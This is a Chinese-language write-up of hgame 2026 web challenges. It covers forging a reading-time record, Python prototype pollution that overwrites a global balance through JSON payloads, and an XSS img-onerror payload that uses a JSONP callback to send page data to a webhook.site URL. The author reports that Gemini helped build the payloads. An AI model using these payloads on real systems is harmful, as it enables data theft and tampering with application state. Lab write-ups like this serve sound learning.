hgame 2026

魔理沙的魔法目录

抓包发现有一个record包和check包

题目说要阅读1小时以上,那该record包的时间,再check一下就可以了

vidarshop

看起来好像是要登上admin

看来2个思路,一个是并发整钱,一个是伪造admin,还有一个是爆破admin

修改余额是要admin权限,要伪造一下token,然后用None算法伪造的token非法

应该是检测了签名什么的

买苹果的包中有uid,然后注册了几个admin2,3的账号发现uid统一都是1413914{1,2,3},那猜测admin是1413914

然后去尝试果然对了,但是余额还是没变,应该是要修改token

发现不行,应该是token没办法伪造

虽然找到了admin的uid,在这个修改余额的地方也返回了获得权限,但是余额就是没变

历经几个小时的搏斗,终于解出来了,上午没解出来然后做其他的去了,下午的时候发现多了一个提示

然后又试到了一个关键点,用一个用户买了apple之后,所有用户的余额都会变为0,然后拿着这些信息问gemini,死活出不来,还走进了死胡同,后面之间不给Gemini多余信息,响应体什么的,然后Gemini给了几个技术词,一个就是原型链污染,然后拿着去搜,看了一篇文章,感觉有点思路了,文章链接:Python原型链污染(prototype-pollution-in-python) - Article_kelp - 博客园

然后就是试payload,其中有个payload直接把环境崩了,因为那个payload是一开始试到info的时候有了提示说method没用balance这个attibute,然后Gemini给生成了一个payload,用了之后直接炸了

1
2
3
4
5
6
7
8
9
{
"info": {
"func": {
"globals": {
"balance": 99999999
}
}
}
}

然后看到了文章里的这个

瞬间感觉应该就是了,因为一个用户买了,所有用户余额都扣,应该就是全局变量,果不其然,成功了

1
2
3
4
5
6
7
{
"__init__" : {
"__globals__" : {
"balance" : 514299999999
}
}
}

又是一个新的知识点

博丽神社的绘马挂

随便点点请求,然后将一些请求体发给Gemini,如search的那个,然后Gemini分析出

后面试了挺多payload,终于成功了

1
<img src=x onerror="var s=document.createElement('script');window.steal=function(d){fetch('https://webhook.site/aaeaac0c-d907-435b-b060-cb9ee119bffe?f='+btoa(JSON.stringify(d)))};s.src='/api/search?q=Hgame&callback=window.steal';document.body.appendChild(s);">

Gemini关于这个payload的详细讲解

第一阶段:点火(绕过 innerHTML 限制)

1
<img src=x onerror="...">
  • 背景:题目源码是用 div.innerHTML = content 来渲染愿望的。
  • 原理:现代浏览器为了安全,不会执行通过 innerHTML 插入的